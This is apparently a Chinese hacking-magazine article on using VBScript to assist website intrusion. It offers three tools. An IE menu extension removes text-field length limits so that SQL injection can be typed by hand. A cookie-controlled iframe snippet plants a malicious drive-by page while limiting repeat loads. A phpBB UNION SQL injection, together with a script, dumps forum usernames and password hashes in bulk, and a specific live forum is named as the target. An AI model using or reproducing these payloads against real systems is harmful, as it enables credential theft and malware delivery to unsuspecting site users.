利用VBS辅助入侵

作者:lcx
来源:vbs小铺

不知大家看了上期我的的文章里的几则vbs代码,有何感想。也许有的高手会不顾一屑,也许有的菜菜会会心一笑,无论如何,这期我还是厚着脸皮继续来贴 VBS代码赚稿费来了。利用VBS来写一个像模像样的工具是困难了点(其实是我水平不够),但是用它来辅助入侵,方便手工则有的时候是恰当好处了,还是来写三个例子吧。

一、更改注入代码框的长度
有的注入点是在文本框里的,像搜索之类的注入。当然,抓包提取出注入点的url然后放在工具里也是可以的。如果喜欢手工的话,可以直接在文本框里写入注入语句提交。但这时候就会有一些问题了,有的文本框限制了你提交内容的长度。很多人这时候的做法是将该注入页面保存下来,去掉html里的长度限制,然后本地提交。这样一来,不仅麻烦,而且有时还会带来reffer的问题。我们可以写一段vbs语句,导入注册表,直接更改页面上的文本框长度就可以了。
注册表(扩展.reg)的内容如下:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\扩展]
"contexts"=dword:00000004
@="d:\\len.html"

这个扩展.reg的里放在d:下的len.html里的内容是这样的:

<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=800
ele.size=200
end if
</script>

我们把扩展.reg导入注册表后,再遇到文本框的限制后,就有办法对付了,点击图1中的扩展后,就有图2所示的效果了,文本框比原来的长度长了好多呀。

图1、图2

二、VBS代码控制Cookie
如果是溢出型之类的网马,挂在网上后,客户端的IE会很卡。如果用cookie控制的话,只让用户访问网马一次,那效果就不错了。网上有些智能型的网马也是这样做的,不过里边的代码都是js写的,我提供给大家一个vbscript代码吧。代码如下:

<SCRIPT LANGUAGE="VBSCRIPT">
'取得cookie内容函数
function GetCookie(sName)

DIM aCookie, i, aCrumb
GetCookie = ""
aCookie = split(document.cookie, "; ")
FOR i = LBOUND(aCookie) to UBOUND(aCookie)
aCrumb = split(aCookie(i), "=")
if sName = aCrumb(0) then
GetCookie = unescape(aCrumb(1))
EXIT FOR
end if
NEXT
end function

if GetCookie("1") <> "1" then
Document.write("<iframe src=http://www.sohu.com></iframe>")'可改成你的挂马页面,这里的sohu.com只会显示一次的。
document.cookie = "1" & "=" & escape("1") & "; expires=Tue, 31 Dec 2009 23:59:59 GMT" 'cookie的有效期我们让它到2009年
end if
</SCRIPT>

不过需要说明一下的是,我看到很多人用智能型网马的话,都是在原页面src=http://www/xxx.js这样调用,就根本起不到智能型网马的作用了。像我提供的这段代码,也是同样需要把所有代码全部查入被挂马页面里才可以,如果远程调用会有跨域的问题的。

三、VBS省去手工操作的麻烦
前不久有一个phpbb的漏洞,注入语句就是●links.php?t=search&search_keywords=asd& start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id =2/*●。我找了个有漏洞的站,抓了个图3。

图3

如果将语句改成●links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,10/*●的话就会暴出前10个用户的名和密码。要提醒你的是,我发现国外的站多数要将字段加到13,中文或繁体的加到12就可以了。另外,如果里面的字段值不对的话,原有页面会有提示的,可以根据提示找到对的字段名。像我们用错误的字段数列提交一下,会有图4的提示:

SQL Error : 1222 The used SELECT statements have a different number of columns

SELECT l.*, u.username FROM phpbb_links l, phpbb_users u WHERE link_active = 1 AND l.user_id = u.user_id AND (link_title LIKE '%asd%' OR link_desc LIKE '% asd%') LIMIT 1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12 FROM phpbb_users where user_id=2/*, 10

图4

从图4中的提示中很容易看到原有的字段和表名。
我们假如一切默认,需要将些论坛所有的用户名和密码都记录下来,用手工就有点累了,可以写一个phpbb.vbs脚本,让它自动保存。代码如下:

URL=lcase(trim(Wscript.Arguments(0)))&"links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit "& lcase(trim(Wscript.Arguments(1)))&","&lcase(trim(Wscript.Arguments(2)))&"/*"
Set xmlHTTP=createobject("Microsoft.XMLHTTP")
xmlhttp.open "GET", URL, False, False
xmlhttp.send
wscript.sleep 300
If xmlhttp.status=200 Then
set aso=createobject("Adodb.Stream")
aso.open
aso.type=1
aso.write xmlHTTP.responsebody
aso.saveToFile "c:\"&lcase(trim(Wscript.Arguments(2)))&".htm",2
aso.close
End if

运行效果如图5所示。运行完后,c:下就有一个40.htm文件了,里边就会有前40个用户的名和密码。图5中的命令改成cscript phpbb.vbs http://forum.proanamia.com/ 40 80,就会在c:生成80.htm,里面就会有userid在40-80之间的用户名和密码了,是不是很方便呢?

图5

当然这个phpbb.vbs脚本很粗糙,可以更好的完善,这个工作就交给亲爱的读者了。

相关日志

发表评论